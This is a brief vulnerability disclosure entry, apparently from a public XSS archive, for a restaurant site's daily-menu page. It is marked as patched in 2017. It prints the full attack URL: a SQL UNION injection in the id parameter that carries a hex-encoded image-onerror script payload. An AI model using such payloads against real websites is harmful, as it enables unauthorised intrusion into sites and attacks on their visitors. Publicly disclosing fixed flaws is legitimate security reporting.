upstairs2.com XSS vulnerability

Vulnerable URL: http://www.upstairs2.com/restaurant/dailymenu.php?id=44 UNION ALL SELECT CONCAT0x3c696d67207372633d78206f6e6572726f723d70726f6d7074282f585353504f5345442f293e,0x0,NULL,NULL-- Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 13:56...